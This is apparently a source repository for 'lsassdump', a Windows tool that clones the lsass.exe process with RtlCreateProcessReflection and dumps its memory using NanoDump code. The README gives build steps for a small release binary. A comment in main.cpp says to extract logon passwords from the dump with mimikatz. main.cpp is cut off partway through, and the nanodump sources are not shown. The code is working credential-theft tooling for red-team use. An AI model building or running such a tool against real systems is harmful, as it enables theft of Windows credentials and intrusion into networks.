├── CMakeLists.txt
├── src
├── utils.h
├── lsassdump.vcxproj.filters
├── utils.c
├── lsassdump.vcxproj
├── main.cpp
├── nanodump.h
└── nanodump.c
├── LICENSE.nanodump
├── LICENSE
├── README.md
├── lsassdump.sln
└── .gitignore
/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required(VERSION 3.15)
2 |
3 | project(lsassdump)
4 |
5 | if (MSVC)
6 | # warning level 4
7 | add_compile_options(/GS-)
8 | else()
9 | endif()
10 |
11 | add_definitions(-D_UNICODE)
12 | add_executable(lsassdump src/main.cpp src/nanodump.c src/utils.c)
13 |
--------------------------------------------------------------------------------
/src/utils.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifdef _DEBUG
4 | #define WCSNLEN wcsnlen
5 | #define _WCSICMP _wcsicmp
6 | #else
7 | #ifdef __cplusplus
8 | extern "C"
9 | #endif
10 | size_t __cdecl nocrt_wcsnlen(
11 | _In_reads_or_z_(_MaxCount) wchar_t const* _Source,
12 | _In_ size_t _MaxCount
13 | );
14 |
15 | #ifdef __cplusplus
16 | extern "C"
17 | #endif
18 | int __cdecl nocrt_wcsicmp(
19 | _In_z_ wchar_t const* _String1,
20 | _In_z_ wchar_t const* _String2
21 | );
22 |
23 | #define WCSNLEN nocrt_wcsnlen
24 | #define _WCSICMP nocrt_wcsicmp
25 |
26 | #endif
27 |
--------------------------------------------------------------------------------
/LICENSE.nanodump:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 Fortra
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 cod
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
23 | For Nanodump, see LICENSE.nanodump
24 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # lsassdump
2 |
3 | This project merges the following project:
4 | - Spawning a process via `RtlCreateProcessReflection` - The original POC is available on [GitHub](https://gist.github.com/GeneralTesler/68903f7eb00f047d32a4d6c55da5a05c)
5 | - NanoDumpWriteDump (extracted from NanoDump project)
6 |
7 | If you want to change the output file, change the path specified in `src/main.cpp` in CreateFile api.
8 | The `MiniDumpWriteDump` API has been replaced with `NanoDumpWriteDump` from NanoDump project.
9 |
10 | ## How to build
11 | For building you can use
12 | - msbuild
13 | - cmake
14 | - Visual C++ via command line
15 |
16 | To build a minimal file (VS 2022 ~16Kb) you need to use the Release profile (x64).
17 |
18 | - From Visual Studio choose x64 | release
19 | - From x64 Developer Prompt: `MSBuild dumplsass.sln -t:Rebuild -p:Configuration=Release`
20 | - Via CMake: `cmake -S . -B build/ -D CMAKE_BUILD_TYPE=Release && cmake --build build --config Release`
21 |
22 | ## NanoDump
23 |
24 | NanoDump documentation is available at https://www.coresecurity.com/core-labs/articles/nanodump-red-team-approach-minidumps
25 | Source code is available [here](https://github.com/fortra/nanodump/).
26 |
27 | To avoid to include all nanodump features, I just merged into nanodump all functions/definitions used by `NanoDumpWriteDump`.
28 |
29 |
--------------------------------------------------------------------------------
/src/lsassdump.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 |
29 |
30 | Header Files
31 |
32 |
33 | Header Files
34 |
35 |
36 |
--------------------------------------------------------------------------------
/lsassdump.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.10.35122.118
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "lsassdump", "src\lsassdump.vcxproj", "{248F71AA-56C4-4007-91C8-19FF65F0B572}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {248F71AA-56C4-4007-91C8-19FF65F0B572}.Debug|x64.ActiveCfg = Debug|x64
17 | {248F71AA-56C4-4007-91C8-19FF65F0B572}.Debug|x64.Build.0 = Debug|x64
18 | {248F71AA-56C4-4007-91C8-19FF65F0B572}.Debug|x86.ActiveCfg = Debug|Win32
19 | {248F71AA-56C4-4007-91C8-19FF65F0B572}.Debug|x86.Build.0 = Debug|Win32
20 | {248F71AA-56C4-4007-91C8-19FF65F0B572}.Release|x64.ActiveCfg = Release|x64
21 | {248F71AA-56C4-4007-91C8-19FF65F0B572}.Release|x64.Build.0 = Release|x64
22 | {248F71AA-56C4-4007-91C8-19FF65F0B572}.Release|x86.ActiveCfg = Release|Win32
23 | {248F71AA-56C4-4007-91C8-19FF65F0B572}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {1306E085-5806-3EFA-A2CA-ADAB23BF4E8F}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/src/utils.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | /** return the number of characters in _Source or _MaxCount if exceeds */
4 | size_t __cdecl nocrt_wcsnlen(
5 | _In_reads_or_z_(_MaxCount) wchar_t const* _Source,
6 | _In_ size_t _MaxCount
7 | )
8 | {
9 | size_t size = 0;
10 | if (_Source != NULL)
11 | {
12 | const wchar_t* tmp = (const wchar_t*)_Source;
13 |
14 | while (*tmp != 0 && size < _MaxCount)
15 | {
16 | size++;
17 | tmp++;
18 | }
19 | }
20 |
21 | return size;
22 | }
23 |
24 | size_t __cdecl nocrt_wcslen(const wchar_t * _Source)
25 | {
26 | size_t size = 0;
27 | if (_Source != NULL)
28 | {
29 | for (; *_Source != 0; _Source++, size++);
30 | }
31 |
32 | return size;
33 | }
34 |
35 | #define isupper(c) (c >= L'A' && c<= L'Z')
36 |
37 | wchar_t __cdecl nocrt_towlower(wchar_t c)
38 | {
39 | if (isupper(c))
40 | return c - L'A' + 'a';
41 | return c;
42 | }
43 |
44 | /** compare _String1 and _String2 in lowercase */
45 | int __cdecl nocrt_wcsicmp(
46 | _In_z_ wchar_t const* _String1,
47 | _In_z_ wchar_t const* _String2
48 | )
49 | {
50 | if (_String1 == _String2)
51 | return 0;
52 |
53 | if (nocrt_wcslen(_String1) != nocrt_wcslen(_String2))
54 | return -1;
55 |
56 | const wchar_t* a = (const wchar_t*)_String1;
57 | const wchar_t* b = (const wchar_t*)_String2;
58 |
59 | while (*a != 0 && *b != 0)
60 | {
61 | if (nocrt_towlower(*a) != nocrt_towlower(*b))
62 | return -1;
63 | a++; b++;
64 | }
65 |
66 | return 0;
67 | }
68 |
69 |
--------------------------------------------------------------------------------
/src/lsassdump.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 17.0
23 | Win32Proj
24 | {248f71aa-56c4-4007-91c8-19ff65f0b572}
25 | lsassdump
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | $(SolutionDir)build\
75 | $(SolutionDir)build\$(ProjectName)\
76 |
77 |
78 | $(SolutionDir)build\
79 | $(SolutionDir)build\$(ProjectName)\
80 |
81 |
82 | $(SolutionDir)build\
83 | $(SolutionDir)build\$(ProjectName)\
84 |
85 |
86 | $(SolutionDir)build\
87 | $(SolutionDir)build\$(ProjectName)\
88 |
89 |
90 |
91 | Level3
92 | true
93 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
94 | true
95 |
96 |
97 | Console
98 | true
99 |
100 |
101 |
102 |
103 | Level3
104 | true
105 | true
106 | true
107 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
108 | true
109 | MultiThreaded
110 |
111 |
112 | Console
113 | true
114 | true
115 | true
116 | true
117 | ntdll.lib;libvcruntime.lib;libcmt.lib;ucrt.lib;kernel32.lib;$(CoreLibraryDependencies);%(AdditionalDependencies)
118 | main
119 |
120 |
121 |
122 |
123 | Level3
124 | true
125 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
126 | true
127 |
128 |
129 | Console
130 | true
131 |
132 |
133 |
134 |
135 | Level3
136 | true
137 | true
138 | false
139 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
140 | true
141 | MultiThreaded
142 | false
143 |
144 |
145 | Console
146 | true
147 | true
148 | true
149 | true
150 | ntdll.lib;libvcruntime.lib;libcmt.lib;ucrt.lib;kernel32.lib;$(CoreLibraryDependencies);%(AdditionalDependencies)
151 | main
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Ww][Ii][Nn]32/
27 | [Aa][Rr][Mm]/
28 | [Aa][Rr][Mm]64/
29 | bld/
30 | [Bb]in/
31 | [Oo]bj/
32 | [Ll]og/
33 | [Ll]ogs/
34 | *.exe
35 | *.obj
36 | [Bb]uild/
37 |
38 | # IDA files
39 | *.id0
40 | *.id1
41 | *.id2
42 | *.nam
43 | *.til
44 |
45 | # Visual Studio 2015/2017 cache/options directory
46 | .vs/
47 | # Uncomment if you have tasks that create the project's static files in wwwroot
48 | #wwwroot/
49 |
50 | # Visual Studio 2017 auto generated files
51 | Generated\ Files/
52 |
53 | # MSTest test Results
54 | [Tt]est[Rr]esult*/
55 | [Bb]uild[Ll]og.*
56 |
57 | # NUnit
58 | *.VisualState.xml
59 | TestResult.xml
60 | nunit-*.xml
61 |
62 | # Build Results of an ATL Project
63 | [Dd]ebugPS/
64 | [Rr]eleasePS/
65 | dlldata.c
66 |
67 | # Benchmark Results
68 | BenchmarkDotNet.Artifacts/
69 |
70 | # .NET Core
71 | project.lock.json
72 | project.fragment.lock.json
73 | artifacts/
74 |
75 | # ASP.NET Scaffolding
76 | ScaffoldingReadMe.txt
77 |
78 | # StyleCop
79 | StyleCopReport.xml
80 |
81 | # Files built by Visual Studio
82 | *_i.c
83 | *_p.c
84 | *_h.h
85 | *.ilk
86 | *.meta
87 | *.obj
88 | *.iobj
89 | *.pch
90 | *.pdb
91 | *.ipdb
92 | *.pgc
93 | *.pgd
94 | *.rsp
95 | *.sbr
96 | *.tlb
97 | *.tli
98 | *.tlh
99 | *.tmp
100 | *.tmp_proj
101 | *_wpftmp.csproj
102 | *.log
103 | *.tlog
104 | *.vspscc
105 | *.vssscc
106 | .builds
107 | *.pidb
108 | *.svclog
109 | *.scc
110 |
111 | # Chutzpah Test files
112 | _Chutzpah*
113 |
114 | # Visual C++ cache files
115 | ipch/
116 | *.aps
117 | *.ncb
118 | *.opendb
119 | *.opensdf
120 | *.sdf
121 | *.cachefile
122 | *.VC.db
123 | *.VC.VC.opendb
124 |
125 | # Visual Studio profiler
126 | *.psess
127 | *.vsp
128 | *.vspx
129 | *.sap
130 |
131 | # Visual Studio Trace Files
132 | *.e2e
133 |
134 | # TFS 2012 Local Workspace
135 | $tf/
136 |
137 | # Guidance Automation Toolkit
138 | *.gpState
139 |
140 | # ReSharper is a .NET coding add-in
141 | _ReSharper*/
142 | *.[Rr]e[Ss]harper
143 | *.DotSettings.user
144 |
145 | # TeamCity is a build add-in
146 | _TeamCity*
147 |
148 | # DotCover is a Code Coverage Tool
149 | *.dotCover
150 |
151 | # AxoCover is a Code Coverage Tool
152 | .axoCover/*
153 | !.axoCover/settings.json
154 |
155 | # Coverlet is a free, cross platform Code Coverage Tool
156 | coverage*.json
157 | coverage*.xml
158 | coverage*.info
159 |
160 | # Visual Studio code coverage results
161 | *.coverage
162 | *.coveragexml
163 |
164 | # NCrunch
165 | _NCrunch_*
166 | .*crunch*.local.xml
167 | nCrunchTemp_*
168 |
169 | # MightyMoose
170 | *.mm.*
171 | AutoTest.Net/
172 |
173 | # Web workbench (sass)
174 | .sass-cache/
175 |
176 | # Installshield output folder
177 | [Ee]xpress/
178 |
179 | # DocProject is a documentation generator add-in
180 | DocProject/buildhelp/
181 | DocProject/Help/*.HxT
182 | DocProject/Help/*.HxC
183 | DocProject/Help/*.hhc
184 | DocProject/Help/*.hhk
185 | DocProject/Help/*.hhp
186 | DocProject/Help/Html2
187 | DocProject/Help/html
188 |
189 | # Click-Once directory
190 | publish/
191 |
192 | # Publish Web Output
193 | *.[Pp]ublish.xml
194 | *.azurePubxml
195 | # Note: Comment the next line if you want to checkin your web deploy settings,
196 | # but database connection strings (with potential passwords) will be unencrypted
197 | *.pubxml
198 | *.publishproj
199 |
200 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
201 | # checkin your Azure Web App publish settings, but sensitive information contained
202 | # in these scripts will be unencrypted
203 | PublishScripts/
204 |
205 | # NuGet Packages
206 | *.nupkg
207 | # NuGet Symbol Packages
208 | *.snupkg
209 | # The packages folder can be ignored because of Package Restore
210 | **/[Pp]ackages/*
211 | # except build/, which is used as an MSBuild target.
212 | !**/[Pp]ackages/build/
213 | # Uncomment if necessary however generally it will be regenerated when needed
214 | #!**/[Pp]ackages/repositories.config
215 | # NuGet v3's project.json files produces more ignorable files
216 | *.nuget.props
217 | *.nuget.targets
218 |
219 | # Microsoft Azure Build Output
220 | csx/
221 | *.build.csdef
222 |
223 | # Microsoft Azure Emulator
224 | ecf/
225 | rcf/
226 |
227 | # Windows Store app package directories and files
228 | AppPackages/
229 | BundleArtifacts/
230 | Package.StoreAssociation.xml
231 | _pkginfo.txt
232 | *.appx
233 | *.appxbundle
234 | *.appxupload
235 |
236 | # Visual Studio cache files
237 | # files ending in .cache can be ignored
238 | *.[Cc]ache
239 | # but keep track of directories ending in .cache
240 | !?*.[Cc]ache/
241 |
242 | # Others
243 | ClientBin/
244 | ~$*
245 | *~
246 | *.dbmdl
247 | *.dbproj.schemaview
248 | *.jfm
249 | *.pfx
250 | *.publishsettings
251 | orleans.codegen.cs
252 |
253 | # Including strong name files can present a security risk
254 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
255 | #*.snk
256 |
257 | # Since there are multiple workflows, uncomment next line to ignore bower_components
258 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
259 | #bower_components/
260 |
261 | # RIA/Silverlight projects
262 | Generated_Code/
263 |
264 | # Backup & report files from converting an old project file
265 | # to a newer Visual Studio version. Backup files are not needed,
266 | # because we have git ;-)
267 | _UpgradeReport_Files/
268 | Backup*/
269 | UpgradeLog*.XML
270 | UpgradeLog*.htm
271 | ServiceFabricBackup/
272 | *.rptproj.bak
273 |
274 | # SQL Server files
275 | *.mdf
276 | *.ldf
277 | *.ndf
278 |
279 | # Business Intelligence projects
280 | *.rdl.data
281 | *.bim.layout
282 | *.bim_*.settings
283 | *.rptproj.rsuser
284 | *- [Bb]ackup.rdl
285 | *- [Bb]ackup ([0-9]).rdl
286 | *- [Bb]ackup ([0-9][0-9]).rdl
287 |
288 | # Microsoft Fakes
289 | FakesAssemblies/
290 |
291 | # GhostDoc plugin setting file
292 | *.GhostDoc.xml
293 |
294 | # Node.js Tools for Visual Studio
295 | .ntvs_analysis.dat
296 | node_modules/
297 |
298 | # Visual Studio 6 build log
299 | *.plg
300 |
301 | # Visual Studio 6 workspace options file
302 | *.opt
303 |
304 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
305 | *.vbw
306 |
307 | # Visual Studio 6 auto-generated project file (contains which files were open etc.)
308 | *.vbp
309 |
310 | # Visual Studio 6 workspace and project file (working project files containing files to include in project)
311 | *.dsw
312 | *.dsp
313 |
314 | # Visual Studio 6 technical files
315 | *.ncb
316 | *.aps
317 |
318 | # Visual Studio LightSwitch build output
319 | **/*.HTMLClient/GeneratedArtifacts
320 | **/*.DesktopClient/GeneratedArtifacts
321 | **/*.DesktopClient/ModelManifest.xml
322 | **/*.Server/GeneratedArtifacts
323 | **/*.Server/ModelManifest.xml
324 | _Pvt_Extensions
325 |
326 | # Paket dependency manager
327 | .paket/paket.exe
328 | paket-files/
329 |
330 | # FAKE - F# Make
331 | .fake/
332 |
333 | # CodeRush personal settings
334 | .cr/personal
335 |
336 | # Python Tools for Visual Studio (PTVS)
337 | __pycache__/
338 | *.pyc
339 |
340 | # Cake - Uncomment if you are using it
341 | # tools/**
342 | # !tools/packages.config
343 |
344 | # Tabs Studio
345 | *.tss
346 |
347 | # Telerik's JustMock configuration file
348 | *.jmconfig
349 |
350 | # BizTalk build output
351 | *.btp.cs
352 | *.btm.cs
353 | *.odx.cs
354 | *.xsd.cs
355 |
356 | # OpenCover UI analysis results
357 | OpenCover/
358 |
359 | # Azure Stream Analytics local run output
360 | ASALocalRun/
361 |
362 | # MSBuild Binary and Structured Log
363 | *.binlog
364 |
365 | # NVidia Nsight GPU debugger configuration file
366 | *.nvuser
367 |
368 | # MFractors (Xamarin productivity tool) working folder
369 | .mfractor/
370 |
371 | # Local History for Visual Studio
372 | .localhistory/
373 |
374 | # Visual Studio History (VSHistory) files
375 | .vshistory/
376 |
377 | # BeatPulse healthcheck temp database
378 | healthchecksdb
379 |
380 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
381 | MigrationBackup/
382 |
383 | # Ionide (cross platform F# VS Code tools) working folder
384 | .ionide/
385 |
386 | # Fody - auto-generated XML schema
387 | FodyWeavers.xsd
388 |
389 | # VS Code files for those working on multiple tools
390 | .vscode/*
391 | !.vscode/settings.json
392 | !.vscode/tasks.json
393 | !.vscode/launch.json
394 | !.vscode/extensions.json
395 | *.code-workspace
396 |
397 | # Local History for Visual Studio Code
398 | .history/
399 |
400 | # Windows Installer files from build outputs
401 | *.cab
402 | *.msi
403 | *.msix
404 | *.msm
405 | *.msp
406 |
407 | # JetBrains Rider
408 | *.sln.iml
409 |
--------------------------------------------------------------------------------
/src/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include "nanodump.h"
8 | #include "utils.h"
9 |
10 | //process reflection stuff copied from: https://github.com/hasherezade/pe-sieve/blob/master/utils/process_reflection.cpp
11 | //minidump/process searching copied from: https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
12 | //compile using: cl.exe refl.cpp /DUNICODE
13 | //as admin, run using: refl.exe
14 | // then use mimikatz: sekurlsa::minidump refl.dmp ; sekurlsa::logonpasswords
15 |
16 | #pragma comment (lib, "Advapi32.lib")
17 |
18 | #define USE_RTL_PROCESS_REFLECTION
19 |
20 | #ifndef RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED
21 | #define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED 0x00000001
22 | #endif
23 |
24 | #ifndef RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES
25 | #define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002
26 | #endif
27 |
28 | #ifndef RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE
29 | #define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 // don't update synchronization objects
30 | #endif
31 |
32 | #ifndef HPSS
33 | #define HPSS HANDLE
34 | #endif
35 |
36 | const DWORD reflection_access = PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE;
37 |
38 | typedef HANDLE HPSS;
39 |
40 | typedef struct {
41 | HANDLE UniqueProcess;
42 | HANDLE UniqueThread;
43 | } T_CLIENT_ID;
44 |
45 | typedef struct
46 | {
47 | HANDLE ReflectionProcessHandle;
48 | HANDLE ReflectionThreadHandle;
49 | T_CLIENT_ID ReflectionClientId;
50 | } T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION;
51 |
52 | // Win >= 7
53 | NTSTATUS(NTAPI* _RtlCreateProcessReflection) (
54 | HANDLE ProcessHandle,
55 | ULONG Flags,
56 | PVOID StartRoutine,
57 | PVOID StartContext,
58 | HANDLE EventHandle,
59 | T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION* ReflectionInformation
60 | ) = NULL;
61 |
62 | // Win >= 8.1
63 |
64 | extern "C"
65 | NTSTATUS (NTAPI *_NtQueryInformationProcess)(
66 | IN HANDLE ProcessHandle,
67 | IN PROCESSINFOCLASS ProcessInformationClass,
68 | OUT PVOID ProcessInformation,
69 | IN ULONG ProcessInformationLength,
70 | OUT PULONG ReturnLength OPTIONAL
71 | );
72 |
73 | bool load_ntdll()
74 | {
75 | if (_RtlCreateProcessReflection == NULL)
76 | {
77 | HMODULE lib = GetModuleHandleA("ntdll.dll");
78 | if (!lib) return false;
79 |
80 | FARPROC proc = GetProcAddress(lib, "RtlCreateProcessReflection");
81 |
82 | _RtlCreateProcessReflection = (NTSTATUS(NTAPI*) (
83 | HANDLE,
84 | ULONG,
85 | PVOID,
86 | PVOID,
87 | HANDLE,
88 | T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION*
89 | )) proc;
90 |
91 | proc = GetProcAddress(lib, "NtQueryInformationProcess");
92 |
93 | _NtQueryInformationProcess = (NTSTATUS(NTAPI*) (
94 | HANDLE,
95 | PROCESSINFOCLASS,
96 | PVOID,
97 | ULONG,
98 | PULONG))proc;
99 |
100 | if (_RtlCreateProcessReflection == NULL || _NtQueryInformationProcess == NULL)
101 | return false;
102 | }
103 | return true;
104 | }
105 |
106 | typedef struct {
107 | HANDLE orig_hndl;
108 | HANDLE returned_hndl;
109 | DWORD returned_pid;
110 | bool is_ok;
111 | } t_refl_args;
112 |
113 | BOOL WINAPI refl_creator(t_refl_args *args)
114 | {
115 | NTSTATUS ret = S_OK;
116 |
117 | if (args != NULL)
118 | {
119 | T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION info = { 0 };
120 | ret = _RtlCreateProcessReflection(args->orig_hndl, RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES, NULL, NULL, NULL, &info);
121 | if (ret == S_OK)
122 | {
123 | args->is_ok = true;
124 | args->returned_hndl = info.ReflectionProcessHandle;
125 | args->returned_pid = (DWORD)info.ReflectionClientId.UniqueProcess;
126 | DPRINT("RtlCreteProcessReflection: new PID: %d", (DWORD)info.ReflectionClientId.UniqueProcess);
127 | }
128 | else
129 | {
130 | args->is_ok = false;
131 | DPRINT("error: %d\n", GetLastError());
132 | }
133 | }
134 | else
135 | {
136 | ret = S_FALSE;
137 | }
138 | return (ret == S_OK);
139 | }
140 |
141 | static BOOL check_vad_permission(PMEMORY_BASIC_INFORMATION mbi)
142 | {
143 | // ignore non-commited pages
144 | if (mbi->State != MEM_COMMIT)
145 | return FALSE;
146 | // ignore mapped pages
147 | if (mbi->Type == MEM_MAPPED)
148 | return FALSE;
149 | // ignore pages with PAGE_NOACCESS
150 | if ((mbi->Protect & PAGE_NOACCESS) == PAGE_NOACCESS)
151 | return FALSE;
152 | // ignore pages with PAGE_GUARD
153 | if ((mbi->Protect & PAGE_GUARD) == PAGE_GUARD)
154 | return FALSE;
155 | // ignore pages with PAGE_EXECUTE
156 | if ((mbi->Protect & PAGE_EXECUTE) == PAGE_EXECUTE)
157 | return FALSE;
158 |
159 | return TRUE;
160 | }
161 |
162 | PVOID get_peb_address(
163 | IN HANDLE hProcess)
164 | {
165 | #ifdef SSP
166 | UNUSED(hProcess);
167 | // if nanodump is running as an SSP,
168 | // avoid calling NtQueryInformationProcess
169 | return (PVOID)READ_MEMLOC(PEB_OFFSET);
170 | #else
171 | PROCESS_BASIC_INFORMATION basic_info = { 0 };
172 | basic_info.PebBaseAddress = 0;
173 |
174 | #define ProcessInformationClass 0
175 |
176 | NTSTATUS status = _NtQueryInformationProcess(
177 | hProcess,
178 | (PROCESSINFOCLASS)ProcessInformationClass,
179 | &basic_info,
180 | sizeof(PROCESS_BASIC_INFORMATION),
181 | NULL);
182 | if (!NT_SUCCESS(status))
183 | {
184 | DPRINT("NtQueryInformationProcess %d\n", status);
185 | DPRINT("Could not get the PEB of the process\n");
186 | return 0;
187 | }
188 |
189 | return basic_info.PebBaseAddress;
190 | #endif
191 | }
192 |
193 | int main()
194 | {
195 | HANDLE hToken;
196 | OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
197 | TOKEN_PRIVILEGES tokenPriv;
198 | LUID luid;
199 | LookupPrivilegeValue(NULL, L"SeDebugPrivilege", &luid);
200 | tokenPriv.PrivilegeCount = 1;
201 | tokenPriv.Privileges[0].Luid = luid;
202 | tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
203 | AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL);
204 |
205 | DWORD lsassPID = 0;
206 | HANDLE lsassHandle = NULL;
207 | HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
208 | PROCESSENTRY32 processEntry = {};
209 | processEntry.dwSize = sizeof(PROCESSENTRY32);
210 | LPCWSTR processName = L"";
211 | if (Process32First(snapshot, &processEntry)) {
212 | while (_WCSICMP(processName, L"lsass.exe") != 0) {
213 | Process32Next(snapshot, &processEntry);
214 | processName = processEntry.szExeFile;
215 | lsassPID = processEntry.th32ProcessID;
216 | }
217 | }
218 |
219 | //lsassPID = GetCurrentProcessId();
220 |
221 | lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
222 | DPRINT("Target PID: %d\n", lsassPID);
223 |
224 | load_ntdll();
225 | t_refl_args args = { 0 };
226 | args.orig_hndl = lsassHandle;
227 | DWORD ret = refl_creator(&args);
228 |
229 | if (args.returned_hndl == 0)
230 |
231 | DPRINT("Clone PID: %d\n", args.returned_pid);
232 |
